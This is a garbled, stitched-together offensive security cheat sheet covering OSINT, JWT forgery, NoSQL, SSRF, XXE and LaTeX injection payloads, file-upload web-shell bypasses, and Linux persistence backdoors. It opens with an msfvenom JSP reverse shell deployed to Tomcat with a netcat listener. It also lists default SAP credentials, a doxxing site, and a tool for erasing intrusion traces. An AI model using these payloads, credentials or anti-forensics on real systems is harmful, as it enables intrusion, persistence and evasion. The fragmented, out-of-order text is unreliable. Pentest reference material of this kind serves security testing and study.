    msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.11.0.41 LPORT=8083 -f war -o revshell.war
    # upload it to tomcat and access it : /revshell/
    curl --upload-file shell.war -u 'tomcat:password' "https://example.com/manager/text/deploy?path=/shell"
    
    # host
    nc -lvnp 8083

    Usage : https://psbdmp.ws/api/search/<email>

    • Usage https://cavalier.hudsonrock.com/api/[email protected] =======

    • Usage https://cavalier.hudsonrock.com/api/[email protected]

    Tools

    • WhatBreach — An OSINT tool facilitating the discovery of breaches involving a specific email address, capable of loading public databases.

    • h8mail и pwnedOrNot — Tools for finding passwords from compromised email addresses in public databases.

    • Infoga — Collects email account information from public sources and checks for email leaks using the haveibeenpwned.com API.

    Pastebins

    Investigate - Verify Leak Data

    https://techjournalism.medium.com/how-to-verify-leak-data-3b0c8d8b764a

    Metadata

    • Extract the metadata from multiple images and store it in a list : link

      • Tools :

        • PDFMiner

        • metadata2go.com

      • Automate the collection of metadata, collect creation dates and store it for analysis in chronological order :

    Virus scan - You never know

    • Set up a separate machine, one that perhaps connects via the Tor Project

      • Runs two different virus scan software packages.

        • If the data runs on an external hard drive, check virus/malware on that dump of data as a whole.

    Check photos/graphs

    • Yandex reverse image search : Struggles with graphics

    • Search through Dorks, a lot of leaks on Slideshare

    • Chronolocate

    Signatures (pen)

    • fileproinfo

    Word-Doc

    • FOCA

    Hopain Tools, Inteltechniques, IntelligenceX, Aware OSINT Tools — These serve as starting points for numerous general and specialized search engines, all heavily oriented towards OSINT.

  • Shodan — Search by ip, name, or domain

  • Fagan Finder — Offers a panel featuring dozens of search engines catering to libraries, archives, and databases.

  • Dogpile, iZito, zapmeta — Metasearch engines that aggregate results from popular search engines like Google, Yandex, and Bing, presenting them on a single page.

  • Metaosint — A search engine for search engines, providing a user-friendly interface to access other tools.

  • Synapsint — A metasearch engine with the capability to search by IP, SSL, ASN, CVE, email, and phone numbers.

  • ThatsThem — A combined search engine for names, addresses, phone numbers, email addresses, and IP addresses.

  • Carrot2 — A search engine equipped with a built-in text clustering algorithm, automatically grouping thematically related sources.

  • Isearchfrom — Simulates search queries to Google from different countries, aiding in understanding how regional restrictions affect search results.

  • Answerthepublic — An English-language search engine that provides common search queries for a given phrase.

  • IntelTechniques Tools — Some tools of Michael Bazzell on his website

  • IntelX Tools — IntelX OSINT tools

  • OSINT Essentials — Some of OSINT investigation tools

  • InfoSecurity OSINT Tools — Same as above

  • Doxbin — Doxxing pastes on people

  • OSINT Framework — OSINT framework tree

  • Rawsec's CyberSecurity Inventory : Reconnaissance — OSINT and Reconnaissance

  • Utilities

    • S — Allows searching 106 sources directly from the command line.

    • SpiderFoot — Automates search queries and exports results to CSV, JSON, or GEXF. Tailored for red team tasks, equipped with a built-in web interface.

    • Query-Server — Sends search queries to multiple search engines and writes the results in CSV, JSON, or XML.

    • Recon-ng — An open-source intelligence framework resembling the Metasploit Framework. Facilitates searches for logins, phone numbers, addresses, and publicly available financial statements.

    • — An OSINT tool based on Google Sheets, designed for complex searches of people, email addresses, files, and more.

    • — A free OSINT tool for collecting information from various sources and identifying correlations between entities like people, email addresses, companies, websites, and domains.

    • — A framework for collecting and semi-automatically processing information about subdomains, IP addresses, compromised accounts, phone numbers, and social network profiles.

    • — A console utility for collecting information for red teaming, conducting active and passive reconnaissance using various search engines. Gathers names, email addresses, IP addresses, subdomains, and URLs.

    • — A crawler for searching IP addresses, emails, websites, organizations, and retrieving information from diverse sources.

    • — Gathers information about user domains, names, and phone numbers using public sources and Google Dorks.

    • — An OSINT tool found in Kali or BlackArch Linux, designed to collect data by specific domain, email, username, or phone number, and save reports in text files, HTML, and JSON.

    • — An open-source, decentralized search engine that enables users to deploy their own search engine.

    Search Engines differences
    Flawed Signature Verification

    For example, consider a JWT containing the following claims:

    Changing the parameter "isAdmin" to true : Privilege Escalation.

    JWT libraries typically provide one method for verifying tokens and another that just decodes them. For example, the Node.js library jsonwebtoken has verify() and decode(). Occasionally, developers confuse these two methods and only pass incoming tokens to the decode() method. This effectively means that the application doesn't verify the signature at all.

    Accepting Tokens with No Signature

    Change the "alg" value to "none". Remove the signature part but leave the trailing dot ".".

    Even if the token is unsigned, the payload part must still be terminated with a trailing dot.

    Brute-forcing Secret Keys

    Some signing algorithms, such as HS256 (HMAC + SHA-256), use an arbitrary, standalone string as the secret key. Just like a password, it's crucial that this secret can't be easily guessed or brute-forced by an attacker. Otherwise, they may be able to create JWTs with any header and payload values they like, then use the key to re-sign the token with a valid signature.

    When implementing JWT applications, developers sometimes make mistakes like forgetting to change default or placeholder secrets. They may even copy and paste code snippets they find online, then forget to change a hardcoded secret that's provided as an example. In this case, it can be trivial for an attacker to brute-force a server's secret using a wordlist of well-known secrets.

    JWT Wordlist : https://github.com/wallarm/jwt-secrets/blob/master/jwt.secrets.list$

    If the server uses an extremely weak secret, it may even be possible to brute-force this character-by-character rather than using a wordlist.

    How to

    Then : Generate another key using JWT Editor Keys on BurpSuite, change the "k" parameter to the base64-encoded secret. Start accessing admin panels.

    Tools

    JWT Toolkit V2

    Attack

    Port 88 : Kerberos authentication system

    # install via releases : https://github.com/ropnop/kerbrute
    ./kerbrute userenum -d $domain_ldap --dc $dc_ip /usr/share/SecLists/Usernames/xato-net-10-million-usernames.txt
    python2 evilarc.py -p /etc/passwd $zip_input_file
    # install
    git clone https://github.com/urbanadventurer/WhatWeb.git
    cd WhatWeb
    make install
    
    # usage
    # Default scan
    whatweb $ip
    
    # Scan the local network quickly and suppress errors
    whatweb --no-errors $network
    
    whatweb --aggression=Stealthy/Aggressive/Heavy --verbose 
    
    # Scan reddit.com slashdot.org with verbose plugin descriptions
    whatweb -v reddit.com slashdot.org
    
    # An aggressive scan of wired.com detects the exact version of WordPress.
    whatweb -a 3 www.wired.com
    
    # Scan the local network for https websites
    whatweb --no-errors --url-prefix https:// $network

    SAP*

    06071992, PASS

    001, 066, Custom

    DDIC

    19920706

    000, 001, Custom

    TMSADM

    PASSWORD, $1Pawd2&

    000

    SAPCPIC

    ADMIN

    000,001

    EARLYWATCH

    SUPPORT

    066

    curl -L https://github.com/mufeedvh/moonwalk/releases/download/v1.0.0/moonwalk_linux -o moonwalk
    # or
    cargo install --git https://github.com/mufeedvh/moonwalk.git
    # from source
    git clone https://github.com/mufeedvh/moonwalk.git
    cd moonwalk/
    cargo build --release

    Files to look for

    Linux

    • /etc/issue : contains a message or system identification to be printed before the login prompt.

    • /etc/profile : controls system-wide default variables, such as Export variables, File creation mask (umask), Terminal types, Mail messages to indicate when new mail has arrived

    • /proc/version : specifies the version of the Linux kernel

    • /proc/self/environ

    • /etc/passwd : has all registered user that has access to a system

    • /etc/shadow : contains information about the system's users' passwords

    • /root/.bash_history : contains the history commands for root user

    • /var/log/dmessage : contains global system messages, including the messages that are logged during system startup

    • /var/log/auth.log : contains all ssh logs, (rce and log poisoning)

    • /var/mail/root : all emails for root user

    • /home/<user>/.ssh/id_rsa : Private SSH keys for a root or any known valid user on the server

    • /var/log/apache2/access.log : the accessed requests for Apache web server

    • /proc/cmdline

    • /etc/hosts

    • /etc/issue

    • C:\boot.ini : contains the boot options for computers with BIOS firmware

    Windows

    NoSQLi

    NoSQLi

    NoSQL injection is a web security vulnerability that allows the attacker to have control over the database.

    A NoSQL injection happens by sending queries via untrusted and unfiltered web application input, which leads to leaked unauthorized information.

    In addition, the attacker can use the NoSQL injection to perform various operations such as modifying data, escalating privileges, DoS attacks, and others.

    Bypassing login pages

    Connect to the database and then look for a certain username : password IF they exist in the collection (in the database), then we have a valid entry.

    The following is the query that is used in the web applications used on our login :

    Functions where the query is JSON data that's send via the application :

    MongoDB operators heavily used in the injections :

    • $eq - matches records that equal to a certain value.

    • $ne - matches records that are not equal to a certain value.

    • $gt - matches records that are greater than a certain value.

    $ne

    Inject a JSON objection {"$ne": "XYZ"} in the password field, and change the logic to become as follows :

    In the case, we wanted to log in to a system as another user who is not admin :

    • Instruct MongoDB to find a document that its username is not equal to admin and its password is not equal to xyz, which returns the statement as true.

    Exploiting NoSQL injection

    MongoDB payloads

    Network Scanners

    nmap

    Nmap is a network scanner created by Gordon Lyon. Nmap is used to discover hosts and services on a computer network by sending packets and analyzing the responses. Nmap provides a number of features for probing computer networks, including host discovery and service and operating system detection.

    🖱️ Basic commands

    Banner Grabbing

    Protocols

    🔥 Firewall Evasion

    Examples

    rustscan

    Faster than nmap

    🖱️ Basic commands

    Oracle APEX

    Basics

    Oracle APEX (Application Express) is a low-code development platform that enables users to build, design, and deploy scalable and secure web applications using a web browser. It is fully integrated with the Oracle Database, making it easy to create data-driven applications quickly. APEX is particularly popular for its ease of use and the ability to create sophisticated applications with minimal coding.

    Oracle APEX is based on PL/SQL (Procedural Language/Structured Query Language), which is Oracle's procedural extension for SQL. The platform also uses other web technologies like HTML, CSS, and JavaScript for the user interface and client-side functionality.

    As for security, Oracle APEX is generally considered secure as it has built-in security features to protect applications from common vulnerabilities, such as SQL injection and cross-site scripting (XSS). Oracle continuously updates and enhances the platform's security measures to keep up with new threats. However, the security of an APEX application also depends on the developers' practices, like proper input validation, access control implementation, and keeping the platform up-to-date with the latest security patches.

    APEX URL Synthax

    APEX URL that refers to Page 1 of Application 100 : http://localhost/apex/f?p=100:1:12432087235079

    Interesting endpoints

    Info Leak

    Source code :

    JS files :

    META :

    Testing Authorization and Authentification

    Check the login process for weaknesses, such as :

    • Insecure transmission of login data,

    • Weak password requirements,

    • Susceptibility to brute force attacks (is there any account lockout ?),

    • Try to

    Testing IDOR

    Burp Intruder

    https://my.app.com/apex/f?p=x:y:SESSION:::::ITEM:ITEM_VALUE

    x = application ID y = page ID

    1. Capture a request in the proxy and send it to the Intruder tool. Set your payload position on the pageID parameter

    2. Under Payloads, choose the “Numbers” payload and set an appropriate range you’d like to test.

    3. Run

    Testing SQLi

    sqlmap

    See slide n°24 for more infos

    Rewrite with wwv_flow.show :

    XXE

    Brief

    An XXE is a type of attack that is performed against an application in order to parse its XML input. In this attack XML input containing a reference to an external entity is processed by a weakly configured XML parser. Like in Cross-Site Scripting (XSS) we try to inject scripts similarly in this we try to insert XML entities to gain crucial information.

    It is used for declaration of the structure of XML document, types of data value that it can contain, etc. DTD can be present inside the XML file or can be defined separately. It is declared at the beginning of XML using .

    There are several types of DTDs and the one we are interested in is external DTDs. There are two types of external DTDs:

    1. SYSTEM: System identifier enables us to specify the external file location that contains the DTD declaration

    In this XML external entity payload is sent to the server and the server sends that data to an XML parser that parses the XML request and provides the desired output to the server. Then server returns that output to the attacker.

    Impacts

    OWASP TOP 10 : SSRF, DoS, RCE, XSS

    The CVSS score of a XXE is 7.5 and its severity is Medium with :

    XXE to SSRF

    Payloads

    Local File Inclusion

    With bWAPP

    XXE Billion Laugh Attack-DOS

    These are aimed at XML parsers in which both, well-formed and valid, XML data crashes the system resources when being parsed. This attack is also known as XML bomb or XML DoS or exponential entity expansion attack.

    XXE File Upload

    XXE can be performed using the file upload method.

    XXE to RCE

    POC with XXELAB

    Backdoors

    A backdoor refers to any method by which authorized and unauthorized users are able to get around normal security measures and gain high level user access (aka root access) on a computer system, network, or software application.

    They are known for being discreet. Backdoors exist for a select group of people in the know to gain easy access to a system or application.

    PAM

    This backdoor essentially consists of adding your own password to the pam_unix.so file

    pam_unix.so file is responsible for authentication

    pam_unix.so uses the unix_verify_password function to verify to user's supplied password :

    .bashsrc

    If a user has bash as their login shell, the ".bashrc" file in their home directory is executed when an interactive session is launched.

    Any user that log in often :

    Put a nc listener

    CronJob

    With a root access

    cronjobs file -> /etc/cronjob

    Configure a task where every minute a reverse shell is sent to you. Add this line into your cronjob file :

    Add this to the shell file :

    On the attacker machine :

    SSH

    Consists in saving our ssh keys in some user’s home directory. Then we can access it via ssh.

    Generate ssh key

    Copy our key into the user's .ssh directory

    Domain Network Enumeration

    Enumerate the network and its services, find the DC,

    Network Enumeration

    Domain Name

    Domain Controllers

    They are usually DNS Servers. They have usually LDAP listening port 389.

    Enumerate alive machines

    Enumerate services

    DNS

    Users Enumeration

    Automatic tools

    AD Enum

    • ASREPRoasting

    • Kerberoasting

    • Dump AD as BloodHound JSON files

    • Searching GPOs in SYSVOL for cpassword and decrypting

    Install

    Reverse Shells

    List

    Reverse Shell Online Generators

    Host locally :

    PHP Payloads

    Bash TCP

    Python

    Netcat

    PHP

    HTTP Methods

    Identify Methods Used

    httpmethods

    Metasploit

    List

    GET
    HEAD
    POST
    PUT
    DELETE
    CONNECT
    OPTIONS
    TRACE
    PATCH

    TRACE method

    The HTTP TRACE method is designed for diagnostic purposes. If enabled, the web server will respond to requests that use the TRACE method by echoing in its response the exact request that was received.

    This behavior is often harmless, but occasionally leads to the disclosure of sensitive information such as internal authentication headers appended by reverse proxies. This functionality could historically be used to bypass the HttpOnly cookie flag on cookies, but this is no longer possible in modern web browsers.

    Remediation

    The TRACE method should be disabled on production web servers.

    Active Directory

    Active Directory is a widely used directory service by Microsoft that stores information about users, computers, and other resources on a network.

    As with any technology, Active Directory has its own set of vulnerabilities that can be exploited by attackers to gain unauthorized access to network resources.

    Some common Active Directory vulnerabilities are:

    1. Weak passwords: Weak passwords or passwords that are easily guessable are one of the most common Active Directory vulnerabilities. Attackers can use automated tools to try multiple passwords until they find the correct one and gain access to the system.

    2. Pass the hash attacks: Pass the hash (PtH) is a type of attack that involves stealing the hashed password of a user and using it to authenticate to other systems on the network. This type of attack is particularly dangerous because the attacker does not need to know the user's plaintext password.

    3. Kerberos attacks: Kerberos is a network authentication protocol used by Active Directory. Kerberos attacks involve exploiting vulnerabilities in the Kerberos protocol to gain unauthorized access to network resources.

    4. Domain controller vulnerabilities: Domain controllers are the backbone of an Active Directory environment. If an attacker gains access to a domain controller, they can take control of the entire network.

    5. Group Policy vulnerabilities: Group Policy is a powerful tool used to manage security settings in Active Directory. Misconfigured Group Policy settings can leave a network vulnerable to attack.

    6. Unsecured LDAP traffic: LDAP (Lightweight Directory Access Protocol) is used to communicate with Active Directory. If LDAP traffic is not encrypted, an attacker can intercept it and steal sensitive information.

    7. Privilege escalation: If an attacker gains access to a low-privileged account, they can attempt to escalate their privileges and gain administrative access to the system.

    Windows Active Directory Pentest Methodology

    403 & 401 Bypasses - HackTricksbook.hacktricks.xyz
    GitHub - sting8k/BurpSuite_403Bypasser: Burpsuite Extension to bypass 403 restricted directoryGitHub

    Server-Side Request Forgery

    Server-side request forgery (also known as SSRF) is a web security vulnerability that allows an attacker to induce the server-side application to make requests to an unintended location.

    In a typical SSRF attack, the attacker might cause the server to make a connection to internal-only services within the organization's infrastructure. In other cases, they may be able to force the server to connect to arbitrary external systems, potentially leaking sensitive data such as authorization credentials.

    Automated Checks

    Linux Priv Esc Bible | http://pentestmonkey.net/tools/audit/unix-privesc-check

    If wget doesn't work :

    SMB Enumeration

    SMB stand for Server Message Block, and it allows you to share your resources to other computers over the network. There are 3 versions of SMB :

    • SMBv1 version vulnerable to known exploits (Eternal Blue, Wanna Cry), now disabled by default in latest Windows version.

    Introduction

    Brief

    What is a Buffer Overflow ?

    In short, buffer overflows are caused by incorrect program code, which cannot process too large amounts of data correctly by the CPU and can, therefore, manipulate the CPU's processing. Suppose too much data is written to a reserved memory buffer or stack that is not limited, for example. In that case, specific registers will be overwritten, which may allow code to be executed.

    PwnCat

    Installation

    Connect to victim

    GitHub - andrew-d/static-binaries: Various *nix tools built as statically-linked binariesGitHub
    {
        "username": "carlos",
        "isAdmin": false
    }
    {
        "alg": "HS256",
        "typ": "JWT"
    }
    hashcat -a 0 -m 16500 $JWT $wordlist
    # --show to output the result if you already run it
    git clone https://github.com/ticarpi/jwt_tool
    cd jwt_tool/
    python3 -m pip install termcolor cprint pycryptodomex requests
    python3 jwt_tool.py $JWT
    "{{ {"#lazy_builder": ["shell_exec", ["touch /tmp/hellofromviews"]]} }}"
    # install
    git clone https://github.com/immunIT/drupwn.git
    cd drupwn
    pip3 install -r requirements.txt
    
    # enum
    drupwn --mode enum --target $url
    
    # exploit
    drupwn --mode exploit --target $url
    apt-get install python-pip
    pip install droopescan
    
    # scan
     droopescan scan drupal -u example.org
    # get wordpress version
    curl https://victim.com/ | grep 'content="WordPress'
    # get author name = potential user
    curl -s -I -X GET http://blog.example.com/?author=1
    https://worpress-site.com/wp-json/oembed/1.0/proxy?url=ybdk28vjsa9yirr7og2lukt10s6ju8.burpcollaborator.net
    # Enumerate all plugins with known vulnerabilities
    wpscan --url $target -e vp --plugins-detection mixed --api-token $YOUR_TOKEN
    
    # Enumerate all plugins in WPSCAN database (could take a very long time)
    wpscan --url $target -e ap --plugins-detection mixed --api-token $YOUR_TOKEN
    # Deeper scan
    wpscan --url $target --ignore-main-redirect --detection-mode aggressive --plugins-detection mixed --api-token $YOUR_TOKEN
    \input{/etc/passwd}
    \include{somefile} # load .tex file (somefile.tex)
    \lstinputlisting{/etc/passwd}
    
    # raw files
    \usepackage{verbatim}
    \verbatiminput{/etc/passwd}
    \newwrite\outfile
    \openout\outfile=cmd.tex
    \write\outfile{Hello-world}
    \closeout\outfile
    \immediate\write18{env > output}
    \input{output}
    
    \input{|"/bin/hostname"}
    \input{|"extractbb /etc/passwd > /tmp/b.tex"}
    
    # allowed mpost command RCE
    \documentclass{article}\begin{document}
    \immediate\write18{mpost -ini "-tex=bash -c (id;uname${IFS}-sm)>/tmp/pwn" "x.mp"}
    \end{document}
    
    # If mpost is not allowed there are other commands you might be able to execute
    ## Just get the version
    \input{|"bibtex8 --version > /tmp/b.tex"}
    ## Search the file pdfetex.ini
    \input{|"kpsewhich pdfetex.ini > /tmp/b.tex"}
    ## Get env var value
    \input{|"kpsewhich -expand-var=$HOSTNAME > /tmp/b.tex"}
    ## Get the value of shell_escape_commands without needing to read pdfetex.ini
    \input{|"kpsewhich --var-value=shell_escape_commands > /tmp/b.tex"}
    
    # if errors : encode base64
    \url{javascript:alert(1)}
    \href{javascript:alert(1)}{placeholder}
    # install
    git clone https://github.com/chipik/SAP_RECON.git 
    cd SAP_RECON/
    
    # usage
    python RECON.py -h
    # once we get a shell into the target unix machine, start moonwalk session
    moonwalk start
    # clear our traces 
    moonwalk finish
    nmap -sP -p $ip #ping scan
    nmap -Pn -n -T4 -v3 $ip #quick scan
    rustscan -a $ip
    nxc smb $network_ip
    # install
    git clone https://github.com/ShutdownRepo/httpmethods
    cd httpmethods
    python3 setup.py install
    
    # usage
    httpmethods -u http://www.example.com/
    1. Reconnaissance
    2. Initial Attack Vectors
    3. Post-Compromise Enumeration
    4. Post-Compromise Attacks
    5. PrivEsc & MISC

    $where - matches records based on Javascript condition.

  • $exists - matches records that have a certain field.

  • $regex - matches records that satisfy certain regular expressions.

  • Exploitation

    Against the server itself

    Here, the server will fetch the contents of the /admin URL and return it to the user.

    Against other back-end systems

    Another type of trust relationship that often arises with server-side request forgery is where the application server is able to interact with other back-end systems that are not directly reachable by users.

    In the preceding example, suppose there is an administrative interface at the back-end URL https://192.168.0.68/admin. Here, an attacker can exploit the SSRF vulnerability to access the administrative interface by submitting the following request:

    Bypass Defenses

    Blacklist-based input filters

    Some applications block input containing hostnames like 127.0.0.1 and localhost, or sensitive URLs like /admin. In this situation, you can often circumvent the filter using various techniques:

    • Using an alternative IP representation of 127.0.0.1, such as 2130706433, 017700000001, or 127.1.

    • Registering your own domain name that resolves to 127.0.0.1. You can use spoofed.burpcollaborator.net for this purpose.

    • Obfuscating blocked strings using URL encoding or case variation.

    Whitelist-based input filters

    Some applications only allow input that matches, begins with, or contains, a whitelist of permitted values. In this situation, you can sometimes circumvent the filter by exploiting inconsistencies in URL parsing.

    The URL specification contains a number of features that are liable to be overlooked when implementing ad hoc parsing and validation of URLs:

    • You can embed credentials in a URL before the hostname, using the @ character. For example:

      • https://expected-host@evil-host

    • You can use the # character to indicate a URL fragment. For example:

      • https://evil-host#expected-host

    • You can leverage the DNS naming hierarchy to place required input into a fully-qualified DNS name that you control. For example:

      • https://expected-host.evil-host

    • You can URL-encode characters to confuse the URL-parsing code. This is particularly useful if the code that implements the filter handles URL-encoded characters differently than the code that performs the back-end HTTP request.

    • You can use combinations of these techniques together.

    db.users.find({query})
    db.users.findOne(query)
    {"username": "admin", "password":"adminpass"}
    # Similar to admin'--
    # Ignores the password input
    Instructing MongoDB to find a document (user) with a username equal to **admin** and his password is not equal to **xyz**, which turns this statement to TRUE because the admin's password is not xyz.
     http://example.thm.labs/search?username=admin&role[$ne]=user
     http://example.thm.labs/search?username=ben&role=user
     http://example.thm.labs/search?username[$ne]=ben&role=user
     
    # On Login pages / search bars
    admin' || 'a'=='a
    true, $where: '1 == 1'
    , $where: '1 == 1'
    $where: '1 == 1'
    ', $where: '1 == 1'
    1, $where: '1 == 1'
    { $ne: 1 }
    ', $or: [ {}, { 'a':'a
    ' } ], $comment:'successful MongoDB injection'
    db.injection.insert({success:1});
    db.injection.insert({success:1});return 1;db.stores.mapReduce(function() { { emit(1,1
    || 1==1
    ' && this.password.match(/.*/)//+%00
    ' && this.passwordzz.match(/.*/)//+%00
    '%20%26%26%20this.password.match(/.*/)//+%00
    '%20%26%26%20this.passwordzz.match(/.*/)//+%00
    {$gt: ''}
    [$ne]=1
    POST /product/stock HTTP/1.0
    Content-Type: application/x-www-form-urlencoded
    Content-Length: 118
    
    stockApi=http://stock.weliketoshop.net:8080/product/stock/check%3FproductId%3D6%26storeId%3D1
    
    # change to :
    
    POST /product/stock HTTP/1.0
    Content-Type: application/x-www-form-urlencoded
    Content-Length: 118
    
    stockApi=http://localhost/admin
    POST /product/stock HTTP/1.0
    Content-Type: application/x-www-form-urlencoded
    Content-Length: 118
    
    stockApi=http://192.168.0.68/admin
    access resources without proper authorization
    to see if the application correctly restricts access.

    CWE-611: Improper Restriction of XML External Entity.

  • CVE-2019-12153: Local File SSRF

  • CVE-2019-12154: Remote File SSRF

  • CVE-2018-1000838: Billion Laugh Attack

  • CVE-2019-0340: XXE via File Upload

  • XXE to RCE

    Run without creds and attempt to gather for further enumeration during the run

  • Sample exploits included:

    • CVE-2020-1472

  • Describes the communication options for the target resource

    Performs message-loop-back test along the path to the target resource

    Applies partial modifications to a resource

    Retrieves data using a given URI

    Same as GET but only transfers the status line and header section

    Sends data the the server

    Replaces all current representations of the target resource with the uploaded content

    Deletes a specified resource

    Establishes a tunnel to the server

    linux-exploit-suggester

    linux-smart-enumeration

    linPEAS

    linuxprivchecker

    LinEnum

    LaZagne

    Retrieve lots of passwords stored on a local computer.

    unix-privesc-check

    pwncat

    Usage

    image
    SMBv2 reduced “chattiness” of SMB1. Guest access is disabled by default.
  • SMBv3 guest access disabled, uses encryption. Most secure.

  • TCP port 139 is SMB over NetBIOS, TCP port 445 is SMB over IP (latest version of SMB).

    List of SMB versions and corresponding Windows versions :

    • SMB1 – Windows 2000, XP, and Windows 2003.

    • SMB2 – Windows Vista SP1 and Windows 2008

    • SMB2.1 – Windows 7 and Windows 2008 R2

    • SMB3 – Windows 8 and Windows 2012.

    Connect to share

    Enumeration

    smbmap

    SMBMap allows users to enumerate samba share drives across an entire domain. List share drives, drive permissions, share contents, upload/download functionality, file name auto-download pattern matching, and even execute remote commands.

    rpcclient | port 445

    Authenticate 'Userless' SMB Session with rpcclient

    Sub commands

    rpcdump | MSRPC - port 135

    Microsoft RPC

    NFS Shares

    A buffer overflow can cause the program to crash, corrupt data, or harm data structures in the program's runtime. The last of these can overwrite the specific program's return address with arbitrary data, allowing an attacker to execute commands with the privileges of the process vulnerable to the buffer overflow by passing arbitrary machine code. This code is usually intended to give us more convenient access to the system to use it for our own purposes. Such buffer overflows in common servers, and Internet worms also exploit client software.

    The most significant cause of buffer overflows is the use of programming languages that do not automatically monitor limits of memory buffer or stack to prevent (stack-based) buffer overflow. These include the C and C++ languages, which emphasize performance and do not require monitoring.

    Central Processing Unit (CPU)

    CPU Architecture

    The Central Processing Unit (CPU) is the functional unit in a computer that provides the actual processing power. It is responsible for processing information and controlling the processing operations. To do this, the CPU fetches commands from memory one after the other and initiates data processing. Each CPU has an architecture on which it was built. The best-known CPU architectures are:

    • x86/i386 - (AMD & Intel)

    • x86-64/amd64 - (Microsoft & Sun)

    • ARM - (Acorn) Each of these CPU architectures is built in a specific way, called Instruction Set Architecture (ISA), which the CPU uses to execute its processes. ISA, therefore, describes the behavior of a CPU concerning the instruction set used. The instruction sets are defined so that they are independent of a specific implementation. Above all, ISA gives us the possibility to understand the unified behavior of machine code in assembly language concerning registers, data types, etc.

    There are four different types of ISA:

    • CISC - Complex Instruction Set Computing

    • RISC - Reduced Instruction Set Computing

    • VLIW - Very Long Instruction Word

    • EPIC - Explicitly Parallel Instruction Computing

    In the Von-Neumann architecture, the most important units, the Arithmetical Logical Unit (ALU) and Control Unit (CU), are combined in the actual Central Processing Unit (CPU).

    The CPU is responsible for executing the instructions and for flow control.

    The instructions are executed one after the other, step by step.

    The commands and data are fetched from memory by the CU.

    The connection between processor, memory, and input/output unit is called a bus system, which is not mentioned in the original Von-Neumann architecture but plays an essential role in practice.

    In the Von-Neumann architecture, all instructions and data are transferred via the bus system.

    CPU Architecture

    Memory

    Memory

    It can be divided into 2 categories :

    • Primary memory

      • The Cache and Random Access Memory (RAM).

      • We can think of it as leaving something at one of our friends to pick it up again later. But for this, it is necessary to know the friend's address to pick up what we have left behind. It is the same as RAM. RAM describes a memory type whose memory allocations can be accessed directly and randomly by their memory addresses. The cache is integrated into the processor and serves as a buffer, which in the best case, ensures that the processor is always fed with data and program code. Before the program code and data enter the processor for processing, the RAM serves as data storage. The size of the RAM determines the amount of data that can be stored for the processor. However, when the primary memory loses power, all stored contents are lost.

    • Secondary memory

      • The external data storage, such as HDD/SSD, Flash Drives and CD/DVD-ROMs of a computer, which is not directly accessed by the CPU, but via the I/O interfaces. In other words, it is a mass storage device. It is used to permanently store data that does not need to be processed at the moment. Compared to primary memory, it has a higher storage capacity, can store data permanently even without a power supply, and works much slower.

    Control Unit

    Control Unit (CU)

    The Control Unit (CU) is responsible for the correct interworking of the processor's individual parts. An internal bus connection is used for the tasks of the CU.

    The tasks of the CU can be summarised as follows:

    • Reading data from the RAM

    • Saving data in RAM

    • Provide, decode and execute an instruction

    • Processing the inputs from peripheral devices

    • Processing of outputs to peripheral devices

    • Interrupt control

    • Monitoring of the entire system

    Instruction Cycle

    Instruction
    Description
    1. FETCH

    The next machine instruction address is read from the Instruction Address Register (IAR). It is then loaded from the Cache or RAM into the Instruction Register (IR).

    1. DECODE

    The instruction decoder converts the instructions and starts the necessary circuits to execute the instruction.

    1. FETCH OPERANDS

    If further data have to be loaded for execution, these are loaded from the cache or RAM into the working registers.

    1. EXECUTE

    The instruction is executed. This can be, for example, operations in the ALU, a jump in the program, the writing back of results into the working registers, or the control of peripheral devices. Depending on the result of some instructions, the status register is set, which can be evaluated by subsequent instructions.

    1. UPDATE INSTRUCTION POINTER

    If no jump instruction has been executed in the EXECUTE phase, the IAR is now increased by the length of the instruction so that it points to the next machine instruction.

    Jimpl
    VerEXIF
    Metadata Interrogator
    we added a new line to our code : if (strcmp(p, "0xMitsurugi") != 0 )
    pip install pwncat-cs
    # Connect to a bind shell
    pwncat-cs connect://10.10.10.10:4444
    pwncat-cs 10.10.10.10:4444
    pwncat-cs 10.10.10.10 4444
    
    # Listen for reverse shell
    pwncat-cs bind://0.0.0.0:4444
    pwncat-cs 0.0.0.0:4444
    pwncat-cs :4444
    pwncat-cs -lp 4444
    
    # Connect via ssh
    pwncat-cs ssh://user:[email protected]
    pwncat-cs [email protected]
    pwncat-cs user:[email protected]
    pwncat-cs -i id_rsa [email protected]
    
    # SSH w/ non-standard port
    pwncat-cs -p 2222 [email protected]
    pwncat-cs [email protected]:2222
    
    # Reconnect utilizing installed persistence
    #   If reconnection fails and no protocol is specified,
    #   SSH is used as a fallback.
    pwncat-cs reconnect://[email protected]
    pwncat-cs reconnect://user@c228fc49e515628a0c13bdc4759a12bf
    pwncat-cs [email protected]
    pwncat-cs c228fc49e515628a0c13bdc4759a12bf
    pwncat-cs 10.10.10.10
    Querytool
    Maltego Community Edition
    sn0int
    theHarvester
    ReconSpider
    Mr.Holmes
    Datasploit
    YaCy
    Logo
    WSTG - Stable | OWASP Foundationowasp.org
    Testing for cookies attributes - OWASP

    File Upload Bypass

    File Upload Bypass Technique

    Web shell Upload via Content-Type restriction Bypass

    When uploading a .php file;

    Web shell upload via path traversal

    When uploading a php file; You can upload the file to a different directory with lesser controls (a different directory that's not supposed to contain user-supplied files)

    Overriding the server configuration

    Before uploading a php file;

    • Servers also allow developers to create special configuration files within individual directories in order to override or add to one or more of the global settings.

    • Apache servers, for example, will load a directory-specific configuration from a file called .htaccess if one is present.

    Web Shell Upload Bypasses Techniques List

    According to OWASP the following list can be used by penetration testers in order to bypass a variety of protections :

    • Try using the URL encoding (or double URL encoding) for dots, forward slashes, and backward slashes. If the value isn't decoded when validating the file extension, but is later decoded server-side, this can also allow you to upload malicious files that would otherwise be blocked: exploit%2Ephp

    • Try using multibyte unicode characters, which may be converted to null bytes and dots after unicode conversion or normalization. Sequences like xC0 x2E, xC4 xAE or xC0 xAE may be translated to x2E if the filename parsed as a UTF-8 string, but then converted to ASCII characters before being used in a path.

    • Content-Type —> Change the parameter in the request header using Burp, ZAP etc.

    Remote Code Execution via Polyglot web shell upload

    In order to upload a php file where the file verification is done on the server side (checking if it is really a IMAGE file), we can disguise a php file as an image file.

    When uploading a php file :

    or, Generate a polyglot payload using exiftool :

    upload_bypass

    File upload restrictions bypass by using different bug bounty techniques! Tool must be running with all its assets!

    Install

    PoC

    SQLmap

